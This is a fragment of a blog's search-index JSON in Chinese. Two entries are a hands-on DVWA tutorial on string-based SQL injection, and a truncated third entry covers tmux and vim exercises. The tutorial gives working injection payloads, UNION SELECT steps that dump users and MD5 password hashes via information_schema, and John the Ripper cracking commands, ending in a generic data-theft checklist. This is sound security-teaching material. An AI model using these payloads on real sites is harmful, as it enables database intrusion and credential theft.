\u0026amp; 报错注入\n","permalink":"https://www.renjiaxing.ren/posts/%E6%8A%80%E6%9C%AF/2026_0804_01_sql%E6%B3%A8%E5%85%A5_low_%E5%AD%97%E7%AC%A6%E5%9E%8B%E6%B3%A8%E5%85%A5%E4%B8%8E%E6%89%8B%E5%B7%A5%E6%B5%8B%E8%AF%951/","summary":"\u003ch2 id=\"第一部分sql-注入概述\"\u003e第一部分：SQL 注入概述\u003c/h2\u003e\n\u003ch3 id=\"什么是-sql-注入\"\u003e什么是 SQL 注入\u003c/h3\u003e\n\u003cp\u003eSQL 注入（SQL Injection）是将\u003cstrong\u003e恶意的 SQL 语句片段\u003c/strong\u003e插入到应用程序的输入参数中，让后端数据库\u003cstrong\u003e误以为这是合法的查询指令\u003c/strong\u003e并执行它。\u003c/p\u003e\n\u003cp\u003e简单说：\u003cstrong\u003e你的输入被当作代码执行了。\u003c/strong\u003e\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e正常请求：\n  浏览器 → 输入 user_id=1 → 服务器 → SQL: SELECT * FROM users WHERE id=\u0026#39;1\u0026#39; → 返回 admin\n\n注入请求：\n  浏览器 → 输入 user_id=1\u0026#39; or \u0026#39;1\u0026#39;=\u0026#39;1\u0026#39; # → 服务器 → SQL 被篡改 → 返回全部用户数据\n\u003c/code\u003e\u003c/pre\u003e\u003ch3 id=\"为什么-sql-注入能成立\"\u003e为什么 SQL 注入能成立\u003c/h3\u003e\n\u003cp\u003e三个条件同时满足：\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\u003cstrong\u003e用户输入直接拼接到 SQL 语句中\u003c/strong\u003e（没有参数化查询）\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e输入中的特殊字符（\u003ccode\u003e'\u003c/code\u003e、\u003ccode\u003e\u0026quot;\u003c/code\u003e、\u003ccode\u003e--\u003c/code\u003e、\u003ccode\u003e#\u003c/code\u003e）没有被转义或过滤\u003c/strong\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e数据库把拼接后的字符串当作 SQL 执行\u003c/strong\u003e\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e这三个条件缺一个，注入就不成立。\u003c/p\u003e\n\u003ch3 id=\"注入的本质脱离数据上下文进入代码上下文\"\u003e注入的本质：脱离数据上下文，进入代码上下文\u003c/h3\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-sql\" data-lang=\"sql\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eSELECT\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eFROM\u003c/span\u003e users \u003cspan style=\"color:#66d9ef\"\u003eWHERE\u003c/span\u003e id \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;1\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                                \u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e│\u003c/span\u003e \u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e│\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                                \u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e│\u003c/span\u003e \u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e└──\u003c/span\u003e \u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e后引号（后端写死的）\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                                \u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e└──\u003c/span\u003e \u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e前引号（后端写死的，你的输入从它后面开始）\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e-- 正常输入时，你的数据在引号里——是\u0026#34;数据\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e-- 你的输入里包含 \u0026#39; 后，你提前闭合了引号——后面的内容进入了\u0026#34;代码\u0026#34;区域\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e-- 这就是注入的本质\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"什么是-payload\"\u003e什么是 Payload\u003c/h3\u003e\n\u003cp\u003e\u003cstrong\u003ePayload = 攻击载荷 = 你精心构造的那段输入字符串。\u003c/strong\u003e\u003c/p\u003e","title":"SQL 注入 Low(1)：字符型注入与手工测试流程"},{"content":"第一部分：SQL 注入概述 什么是 SQL 注入 SQL 注入（SQL Injection）是将恶意的 SQL 语句片段插入到应用程序的输入参数中，让后端数据库误以为这是合法的查询指令并执行它。\n简单说：你的输入被当作代码执行了。\n正常请求： 浏览器 → 输入 user_id=1 → 服务器 → SQL: SELECT * FROM users WHERE id=\u0026#39;1\u0026#39; → 返回 admin 注入请求： 浏览器 → 输入 user_id=1\u0026#39; or \u0026#39;1\u0026#39;=\u0026#39;1\u0026#39; # → 服务器 → SQL 被篡改 → 返回全部用户数据 为什么 SQL 注入能成立 三个条件同时满足：\n用户输入直接拼接到 SQL 语句中（没有参数化查询） 输入中的特殊字符（'、\u0026quot;、--、#）没有被转义或过滤 数据库把拼接后的字符串当作 SQL 执行 这三个条件缺一个，注入就不成立。\n注入的本质：脱离数据上下文，进入代码上下文 SELECT * FROM users WHERE id = \u0026#39;1\u0026#39; │ │ │ └── 后引号（后端写死的） └── 前引号（后端写死的，你的输入从它后面开始） -- 正常输入时，你的数据在引号里——是\u0026#34;数据\u0026#34; -- 你的输入里包含 \u0026#39; 后，你提前闭合了引号——后面的内容进入了\u0026#34;代码\u0026#34;区域 -- 这就是注入的本质 什么是 Payload Payload = 攻击载荷 = 你精心构造的那段输入字符串。\n正常输入： 1 ← 只是数据 Payload： 1\u0026#39; or \u0026#39;1\u0026#39;=\u0026#39;1\u0026#39; # ← 数据 + SQL 代码 + 注释符 Payload 的三个组成部分：\n1\u0026#39; ← 正常数据 + 闭合符（跳出数据上下文） or \u0026#39;1\u0026#39;=\u0026#39;1\u0026#39; ← 注入的 SQL 代码（攻击逻辑） # ← 注释符（清理尾部，防止语法错误） 三要素：闭合 → 注入 → 注释。\nSQL 注入的核心分类 按后端 SQL 中参数的类型分为两类：\n类型 后端 SQL 写法 特征 数字型 WHERE id = 1（没有引号） 1 or 1=1 直接生效，不需要引号 字符型 WHERE id = '1'（有引号） 需要先闭合引号，再注入逻辑 按注入手法分为：\n手法 适用场景 核心思路 联合查询（UNION） 页面显示查询结果 用 UNION SELECT 偷其他表的数据 报错注入 页面显示错误信息 通过报错函数（extractvalue/updatexml）把数据带出来 布尔盲注 只有\u0026quot;正常/异常\u0026quot;两种反馈 逐个字符猜解，成立时正常，不成立时异常 时间盲注 完全没有任何反馈 条件成立时延迟（sleep），用响应时间判断 堆叠注入 数据库支持多语句 用 ； 分隔，执行多条 SQL 第二部分：手工测试——DVWA Low 字符型注入实战 环境信息 靶机： DVWA（Docker 容器，127.0.0.1:8080，SSH 隧道访问） 安全等级： Low 页面： SQL Injection → User ID 输入框 数据库： MariaDB（MySQL 兼容） 第一节：确认注入点 第一步：正常输入——理解功能 输入 1 → First name: admin Surname: admin 输入 2 → First name: Gordon Surname: Brown 得到的信息： 输入的是用户 ID，返回的是姓名。后端用 ID 查用户表。\n第二步：试探引号——1' 输入 1\u0026#39; → 仍然返回 admin，没报错 得到的信息： 多出的 ' 没让 SQL 崩溃。DVWA Low 可能做了容错，先不急于下结论。\n第三步：关键判断——数字型还是字符型 输入 1 or 1=1 → 只返回 admin，没有返回全部用户 这是决定性的一步。 如果后端 SQL 是数字型：\nWHERE user_id = 1 or 1=1 ← or 1=1 被当作代码执行了 → 返回全部 如果后端 SQL 是字符型：\nWHERE user_id = \u0026#39;1 or 1=1\u0026#39; ← 整个被引号包住，当作字符串 → 只返回一条 实际结果只返回了一条 → 确认是字符型注入，输入被单引号包裹。\n第四步：构造 Payload 既然输入被包在单引号里，Payload 必须做三件事：\n1. 闭合前端的前引号 2. 注入永远为真的条件 3. 注释掉后端的多余后引号 构造：\n1\u0026#39; or \u0026#39;1\u0026#39;=\u0026#39;1\u0026#39; # 还原到后端 SQL：\n-- 后端模板： SELECT first_name, last_name FROM users WHERE user_id = \u0026#39;[输入]\u0026#39; -- 替换后： SELECT first_name, last_name FROM users WHERE user_id = \u0026#39;1\u0026#39; or \u0026#39;1\u0026#39;=\u0026#39;1\u0026#39; # \u0026#39; │ │ │ │ │ │ │ │ │ └── 被 # 注释吞掉 │ │ │ └── 注入条件：永远真 │ │ └── 闭合后端前引号 │ └── 正常 ID 值 └── 后端代码写的前引号 结果：返回了全部五个用户（admin、Gordon、Hack、Pablo、Bob）。注入成功。\nPayload 三要素总结 闭合：1\u0026#39; → 用 \u0026#39; 匹配掉后端写死的前引号，后面的内容不再是\u0026#34;数据\u0026#34; 注入：or \u0026#39;1\u0026#39;=\u0026#39;1\u0026#39; → 你写的 SQL 代码，\u0026#39;1\u0026#39;=\u0026#39;1\u0026#39; 永远为真，OR 让它作用于所有行 注释：# → MySQL/MariaDB 注释符，把后端写死的后引号变成无效文本 手工测试决策流程 正常输入（1, 2） → 理解功能 ↓ 加引号测试（1\u0026#39;） → 看是否报错（判断有没有过滤/转义） ↓ 注入判断符（1 or 1=1） ├── 返回全部 → 数字型，直接注入 ├── 返回一条 → 字符型，用引号闭合 ├── 报错 → 可能有括号或特殊语法 └── 空白 → 有过滤，需要绕过 ↓ 构造 Payload（闭合 + 注入 + 注释） ↓ 注入成功 → 进入数据提取阶段（UNION SELECT 偷表） 第二节：UNION SELECT 联合查询 — 从注入到脱裤 UNION 是什么 正常查询返回一张表。UNION 可以把另一张表拼在下面：\nSELECT first_name, last_name FROM users WHERE user_id = \u0026#39;1\u0026#39; UNION SELECT \u0026#39;hello\u0026#39;, \u0026#39;world\u0026#39; 结果会多出一行——hello 和 world 出现在页面上。这就是注入数据的原理：用 UNION 把想偷的数据拼到正常查询结果下面。\nUNION 的铁律：前后两个 SELECT 的列数必须相等。\n第一步：猜列数 — ORDER BY 从 1 开始往上加，加到报错为止，报错前的数字就是列数。\n输入：1\u0026#39; order by 1 # → 正常 输入：1\u0026#39; order by 2 # → 正常 输入：1\u0026#39; order by 3 # → 报错：Unknown column \u0026#39;3\u0026#39; in \u0026#39;order clause\u0026#39; 结论：列数 = 2。 正好对应页面显示的 First name 和 Surname 两列。\n第二步：确认显示位置 — UNION SELECT 数字占位 已经知道原始查询返回 2 列。用 union select 在上面注入数据，验证哪些列能显示在页面上：\n输入：1\u0026#39; union select 1, 2 # 最终得出的查询：\nSELECT first_name, last_name FROM users WHERE user_id = \u0026#39;1\u0026#39; UNION SELECT 1, 2 返回结果： 第一行：First name: admin Surname: admin ← 原始查询的 admin 第二行：First name: 1 Surname: 2 ← 注入的数据被显示出来了 结论：两列都能显示注入数据。 1 显示在 First name 位置，2 显示在 Surname 位置。\n第三步：偷数据库名 — database() 输入：1\u0026#39; union select database(), 2 # SELECT first_name, last_name FROM users WHERE user_id = \u0026#39;1\u0026#39; UNION SELECT database(), 2 返回：First name: dvwa Surname: 2 数据库名：dvwa。 注意第一个 2 的作用——只是占位符，凑够 UNION 要求的 2 列。实际数据从 database() 返回在第一列。\n第四步：查所有表名 — information_schema.tables -- information_schema 是 MySQL/MariaDB 的系统库，存储了所有数据库的元数据 -- information_schema.tables 记录了所有表的信息 -- group_concat() 把多行合并成一行，用逗号分隔 输入：1\u0026#39; union select group_concat(table_name), 2 from information_schema.tables where table_schema=database() # SELECT first_name, last_name FROM users WHERE user_id = \u0026#39;1\u0026#39; UNION SELECT group_concat(table_name), 2 FROM information_schema.tables WHERE table_schema = database() 返回：First name: guestbook,users Surname: 2 两个表：guestbook 和 users。 优先查 users——里面大概率有账号密码。\n第五步：查 users 表的列名 — information_schema.columns 输入：1\u0026#39; union select group_concat(column_name), 2 from information_schema.columns where table_name=\u0026#39;users\u0026#39; # SELECT first_name, last_name FROM users WHERE user_id = \u0026#39;1\u0026#39; UNION SELECT group_concat(column_name), 2 FROM information_schema.columns WHERE table_name = \u0026#39;users\u0026#39; 返回：First name: user_id,first_name,last_name,user,password,avatar,last_login,failed_login Surname: 2 8 列。核心是 user 和 password。\n第六步：偷密码 hash 输入：1\u0026#39; union select user, password from users # SELECT first_name, last_name FROM users WHERE user_id = \u0026#39;1\u0026#39; UNION SELECT user, password FROM users 返回结果（5 行，点 Submit 依次出现）： user | password (MD5 hash) ─────────┼────────────────────────────────── admin | 5f4dcc3b5aa765d61d8327deb882cf99 gordonb | e99a18c428cb38d5f260853678922e03 1337 | 8d3533d75ae2c3966d7e0d4fcc69216b pablo | 0d107d09f5bbe40cade3de5c71e9e9b7 smithy | 5f4dcc3b5aa765d61d8327deb882cf99 完整用户表已脱裤。\n关于这些 hash 32 位十六进制 → MD5。几条常见弱密码可以一眼认出来：\n5f4dcc3b5aa765d61d8327deb882cf99 = password e99a18c428cb38d5f260853678922e03 = abc123 8d3533d75ae2c3966d7e0d4fcc69216b = charley 0d107d09f5bbe40cade3de5c71e9e9b7 = letmein 未知 hash 用 John 暴破：\necho \u0026#39;5f4dcc3b5aa765d61d8327deb882cf99\u0026#39; \u0026gt; hashes.txt john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt john --show hashes.txt 完整攻击链回顾（DVWA Low SQL Injection 全流程） ┌──────────────────────────────────────────────────────────┐ │ 阶段一：注入点探测 │ │ │ │ 输入 结果 分析 │ │ ──── ──── ──── │ │ 1 admin 正常 │ │ 2 Gordon 另一个用户，确认功能是 ID→姓名 │ │ 1\u0026#39; admin 没报错，DVWA Low 容错处理 │ │ 1 or 1=1 admin 只返回一条 → 被引号包住 → 字符型 │ │ 1\u0026#39; or \u0026#39;1\u0026#39;=\u0026#39;1\u0026#39; # 全部五条 → 注入成功！ │ │ │ │ 结论：字符型 SQL 注入，Payload 三要素生效（闭合/注入/注释） │ └──────────────────────────────────────────────────────────┘ ↓ ┌──────────────────────────────────────────────────────────┐ │ 阶段二：UNION SELECT 数据提取 │ │ │ │ 操作 Payload │ │ ──── ─────── │ │ 猜列数 1\u0026#39; order by N # → N=2 │ │ 确认显示位置 1\u0026#39; union select 1,2 # │ │ → 两列都能显示注入数据 │ │ │ │ 查库名 1\u0026#39; union select database(),2 # │ │ → dvwa │ │ │ │ 查表名 1\u0026#39; union select │ │ group_concat(table_name),2 │ │ from information_schema.tables │ │ where table_schema=database() # │ │ → guestbook, users │ │ │ │ 查列名 1\u0026#39; union select │ │ group_concat(column_name),2 │ │ from information_schema.columns │ │ where table_name=\u0026#39;users\u0026#39; # │ │ → user, password 等 8 列 │ │ │ │ 偷数据 1\u0026#39; union select user,password │ │ from users # │ │ → 5 个用户的 MD5 hash │ └──────────────────────────────────────────────────────────┘ ↓ ┌──────────────────────────────────────────────────────────┐ │ 阶段三：Hash 破解 │ │ │ │ admin / password │ │ gordonb / abc123 │ │ 1337 / charley │ │ pablo / letmein │ │ smithy / password │ │ │ │ John the Ripper + rockyou.txt 字典暴破 │ └──────────────────────────────────────────────────────────┘ 偷数据的标准顺序（通用模板） 每遇到一个新的 SQL 注入点，按这个顺序逐层挖：\n1. database() → 当前库名 2. information_schema → 所有表名 3. 目标表的列名 → 找到 user/password 等敏感字段 4. 偷数据 → UNION SELECT 直接读 5. 其他表同理 → 逐表翻一遍 下一篇：DVWA Medium — 字符转义绕过 \u0026amp; 报错注入\n","permalink":"https://www.renjiaxing.ren/posts/%E6%8A%80%E6%9C%AF/2026_0804_01_sql%E6%B3%A8%E5%85%A5%E5%9F%BA%E7%A1%80_%E5%AD%97%E7%AC%A6%E5%9E%8B%E6%B3%A8%E5%85%A5%E4%B8%8E%E6%89%8B%E5%B7%A5%E6%B5%8B%E8%AF%95/","summary":"\u003ch2 id=\"第一部分sql-注入概述\"\u003e第一部分：SQL 注入概述\u003c/h2\u003e\n\u003ch3 id=\"什么是-sql-注入\"\u003e什么是 SQL 注入\u003c/h3\u003e\n\u003cp\u003eSQL 注入（SQL Injection）是将\u003cstrong\u003e恶意的 SQL 语句片段\u003c/strong\u003e插入到应用程序的输入参数中，让后端数据库\u003cstrong\u003e误以为这是合法的查询指令\u003c/strong\u003e并执行它。\u003c/p\u003e\n\u003cp\u003e简单说：\u003cstrong\u003e你的输入被当作代码执行了。\u003c/strong\u003e\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e正常请求：\n  浏览器 → 输入 user_id=1 → 服务器 → SQL: SELECT * FROM users WHERE id=\u0026#39;1\u0026#39; → 返回 admin\n\n注入请求：\n  浏览器 → 输入 user_id=1\u0026#39; or \u0026#39;1\u0026#39;=\u0026#39;1\u0026#39; # → 服务器 → SQL 被篡改 → 返回全部用户数据\n\u003c/code\u003e\u003c/pre\u003e\u003ch3 id=\"为什么-sql-注入能成立\"\u003e为什么 SQL 注入能成立\u003c/h3\u003e\n\u003cp\u003e三个条件同时满足：\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\u003cstrong\u003e用户输入直接拼接到 SQL 语句中\u003c/strong\u003e（没有参数化查询）\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e输入中的特殊字符（\u003ccode\u003e'\u003c/code\u003e、\u003ccode\u003e\u0026quot;\u003c/code\u003e、\u003ccode\u003e--\u003c/code\u003e、\u003ccode\u003e#\u003c/code\u003e）没有被转义或过滤\u003c/strong\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e数据库把拼接后的字符串当作 SQL 执行\u003c/strong\u003e\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e这三个条件缺一个，注入就不成立。\u003c/p\u003e\n\u003ch3 id=\"注入的本质脱离数据上下文进入代码上下文\"\u003e注入的本质：脱离数据上下文，进入代码上下文\u003c/h3\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-sql\" data-lang=\"sql\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eSELECT\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eFROM\u003c/span\u003e users \u003cspan style=\"color:#66d9ef\"\u003eWHERE\u003c/span\u003e id \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;1\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                                \u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e│\u003c/span\u003e \u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e│\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                                \u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e│\u003c/span\u003e \u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e└──\u003c/span\u003e \u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e后引号（后端写死的）\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                                \u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e└──\u003c/span\u003e \u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e前引号（后端写死的，你的输入从它后面开始）\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e-- 正常输入时，你的数据在引号里——是\u0026#34;数据\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e-- 你的输入里包含 \u0026#39; 后，你提前闭合了引号——后面的内容进入了\u0026#34;代码\u0026#34;区域\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e-- 这就是注入的本质\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"什么是-payload\"\u003e什么是 Payload\u003c/h3\u003e\n\u003cp\u003e\u003cstrong\u003ePayload = 攻击载荷 = 你精心构造的那段输入字符串。\u003c/strong\u003e\u003c/p\u003e","title":"SQL 注入基础：字符型注入与手工测试流程"},{"content":"一、tmux — 终端复用器 它解决什么问题 SSH 连接到远程服务器时，一旦网络断开或关闭终端窗口，正在运行的程序（比如 hugo server、apt install）会被强制终止。\ntmux 在用户和服务器之间插入了一个持久层——你关掉终端、断开 SSH，tmux 里的程序继续跑。下次连上，tmux a 一切恢复原样。\n普通 SSH： SSH + tmux： 你 ──SSH── 服务器 你 ──SSH── 服务器 │ │ 跑程序 tmux（持久层） │ │ SSH 断开 → 程序死 SSH 断开 → tmux 里的程序继续跑 下次连上 → tmux a → 恢复 层级结构 tmux 服务 ├── session 0（工作区 A：博客开发） │ ├── window 0（这个窗口跑 hugo server） │ │ ├── pane 0（左边：编辑 config.yml） │ │ └── pane 1（右边：看日志） │ └── window 1（这个窗口跑 docker） │ └── pane 0 ├── session 1（工作区 B：渗透练习） │ ├── window 0（DVWA 目录） │ └── window 1（查资料） └── session 2 session = 独立工作区，window = 浏览器标签页，pane = 分屏。 你在一个 session 里\u0026quot;挂起\u0026quot;（detach），另一个终端可以\u0026quot;接入\u0026quot;（attach），无缝切换。\n前缀键：Ctrl+A tmux 所有快捷键都先按一次前缀键（告诉 tmux\u0026quot;下一个按键是给你的，不是给终端里的程序的\u0026quot;），再按功能键。默认前缀是 Ctrl+B，但这里改成 Ctrl+A——离手指更近，按着更舒服。\n操作节奏：按下 Ctrl+A → 松开手指 → 按下一个键。 不是同时按；是先后按。\n完整操作速查 操作 快捷键 说明 新建 session tmux 创建一个 session，默认带一个 window 和一个 pane 左右分屏 Ctrl+A 然后 % 当前 pane 左右平分 上下分屏 Ctrl+A 然后 \u0026quot; 当前 pane 上下平分 关闭 pane Ctrl+D pane 全关了 → 关 window；window 全关了 → 关 session 选 pane（鼠标） 鼠标点击 直接定位 选 pane（键盘） Ctrl+A 然后 方向键 相邻 pane 间移动 调分割线（鼠标） 拖拽分割线 最直观 调分割线（键盘） Ctrl+A + 方向键（按住不放） 微调 全屏/取消 Ctrl+A 然后 z 当前 pane 临时撑满整个窗口 挂起 session Ctrl+A 然后 d detach——session 在后台继续跑，你回到普通终端 恢复 session tmux a attach——一切恢复 选择 session Ctrl+A 然后 s 方向键上下选、右展开、左收起 新建 window Ctrl+A 然后 c 在当前 session 里开新标签页 选择 window Ctrl+A 然后 w 同 session 选择方式 翻阅内容 Ctrl+A 然后 PageUp 或 鼠标滚轮 查看历史输出 文本选择 按住 Shift + 鼠标拖拽 tmux 里不按 Shift 拖拽会触发 tmux 自己的选择模式 复制 Ctrl+A 然后 [ → 鼠标选文本（自动复制） 进入 tmux 的复制模式 粘贴 Ctrl+A 然后 ] 粘贴 tmux 剪贴板内容 二、vim — 终端里的文本编辑器 为什么学 vim 服务器上没有图形界面，没有 VS Code。改配置文件、写脚本、编辑代码——全在终端里完成。vim 是 Linux 世界最通用的终端编辑器，任何一台 Linux 都预装了 vi（vim 的前身）。\nvim 不是\u0026quot;简陋版记事本\u0026quot;。它的核心哲学是：大部分时间在阅读/浏览代码，少数时间在修改。 所以默认处于\u0026quot;只读浏览模式\u0026quot;（一般命令模式），而不是\u0026quot;打字模式\u0026quot;（编辑模式）。\n三种模式 ┌────────── 一般命令模式 ──────────┐ │ （默认状态，按什么键触发什么动作） │ │ 浏览、复制、粘贴、删除、跳转 │ │ │ │ 按 i → 进入编辑模式 │ │ 按 : 或 / → 进入命令行模式 │ └──────────┬──────────────┬────────┘ │ │ ▼ ▼ ┌── 编辑模式 ──┐ ┌── 命令行模式 ──┐ │ 正常打字 │ │ 保存、退出 │ │ ESC → 退回 │ │ 查找、替换 │ └──────────────┘ │ ESC → 退回 │ └────────────────┘ 移动光标 操作 按键 记忆技巧 左 h 在最左边 下 j j 像往下的钩子 上 k k 像往上指 右 l 在最右边 右移 n 个字符 n\u0026lt;Space\u0026gt; 行首 0 或 Home 行尾 $ 或 End 正则里 $ 就是行尾 文件最后一行 G 文件第一行 gg 第 n 行 nG 或 :n 向下 n 行 n\u0026lt;Enter\u0026gt; 查找与替换 操作 命令 说明 向下找 word /word n 下一个，N 上一个 向上找 word ?word 第 n1 到 n2 行替换 :n1,n2s/word1/word2/g g = 每行全部替换 全文替换 :1,$s/word1/word2/g 1,$ = 第一行到最后一行 全文替换（逐个确认） :1,$s/word1/word2/gc 每次替换前 y/n 确认 关闭高亮 :noh 查找后的高亮不消失，用这个关 复制、剪切、粘贴、删除 vim 里的\u0026quot;删除\u0026quot;本质是\u0026quot;剪切\u0026quot;——被删的内容自动进入寄存器，可以 p 粘贴出来。\n操作 按键 选中文本 v + 方向键移动 复制选中 y 复制整行 yy 删除选中（剪切） d 删除整行（剪切） dd 粘贴 p（光标下一行/下一位置） 撤销 u 重做（取消撤销） Ctrl+R 缩进与格式化 操作 按键 选中后右缩进 v 选中 → \u0026gt; 选中后左缩进 v 选中 → \u0026lt; 全文自动格式化 gg=G 保存、退出、配置 操作 命令 保存 :w 强制保存 :w! 退出 :q 强制退出（不保存） :q! 保存并退出 :wq 显示行号 :set nu 隐藏行号 :set nonu 粘贴模式（不自动缩进） :set paste 取消粘贴模式 :set nopaste 卡死时强制中断 Ctrl+Q .swp 文件异常处理 每次用 vim 打开文件，vim 自动创建一个 .filename.swp 的临时文件用于崩溃恢复。如果 vim 异常退出，.swp 残留，下次打开会报警。\n解决方法： 1. 找到另一个正在编辑该文件的 vim 进程，退出它 2. 或者直接删掉 .swp 文件：rm .filename.swp 三、vim 作业题解 homework_0 进入 homework_0，创建 names.txt，写入姓名，每行一个： cd homework_0 vim names.txt 按 i 进入编辑模式，输入： AcWing yxc Bob 张强 李明 Alice 按 ESC，输入 :wq 保存退出 homework_1 cd homework_1 vim problem.txt [1] 最后一行第101个字符：G（跳到最后一行）→ 100\u0026lt;Space\u0026gt;（右移100个字符，光标在第101个） → d（删除当前字符） [2] 第3行第8个字符：3G（跳到第3行）→ 7\u0026lt;Space\u0026gt;（右移7个字符，光标在第8个） → d [3] 第1行第30个字符：gg（跳到第1行）→ 29\u0026lt;Space\u0026gt; → d [4] 第16行第55个字符：16G → 54\u0026lt;Space\u0026gt; → d [5] 第9行第80个字符：9G → 79\u0026lt;Space\u0026gt; → d :wq 保存退出 homework_2 cd homework_2 vim problem.txt [1] 在第1个\u0026#34;two\u0026#34;后面添加\u0026#34;abc\u0026#34; /two\u0026lt;Enter\u0026gt;（找到第1个two）→ e（光标跳到单词末尾）→ i（进入编辑模式）→ 输入abc → ESC [2] 在第2个\u0026#34;two\u0026#34;前面添加\u0026#34;def\u0026#34; n（跳到第2个two）→ i（进入编辑模式）→ 输入def → ESC [3] 将第3个\u0026#34;two\u0026#34;后面的连续12个字符删掉 n（跳到第3个two）→ e（跳到单词末尾）→ l（右移一个字符，到要删除的第一个字符） → v → 11\u0026lt;Space\u0026gt;（选中12个字符）→ d [4] 将第4个\u0026#34;two\u0026#34;所在的行删掉 n（跳到第4个two）→ dd :wq 保存退出 homework_3 cd homework_3 vim problem.txt [1] 将第5行至15行中所有of替换成OF :5,15s/of/OF/g [2] 将全文中所有the替换成THE :1,$s/the/THE/g [3] 将全文中的is奇数不变，偶数变为IS :1,$s/is/IS/gc （然后 n(n不替换) y(替换) 交替按，实现奇数不变偶数替换） :wq 保存退出 homework_4 cd homework_4 vim problem.txt [1] 删除第11行：11G（跳到第11行）→ dd [2] 粘贴到文件末尾下一行：G（跳到最后一行）→ p [3] 复制第5行：5G（跳到第5行）→ yy [4] 粘贴到文件末尾下一行：G → p :wq 保存退出 homework_5 cd homework_5 vim problem.txt [1] 删除第11行第15个字符至第13行第5个字符： 11G → 14\u0026lt;Space\u0026gt;（光标在第11行第15个字符） → v（进入可视模式）→ 13G → 5\u0026lt;Space\u0026gt;（选到第13行第5个字符） → d（删除选中内容） [2] 粘贴到文件末尾（不另起一行）： G → $（跳到最后一行的行尾）→ p [3] 复制第5行第88个字符至第7行第6个字符： 5G → 87\u0026lt;Space\u0026gt;（光标在第5行第88个字符） → v → 7G → 6\u0026lt;Space\u0026gt;（选到第7行第6个字符） → y（复制选中内容） [4] 粘贴到文件末尾（不另起一行）： G → $ → p :wq 保存退出 homework_6 cd homework_6 [1] 清空 source0.cpp： vim source0.cpp → gg（跳到第一行）→ 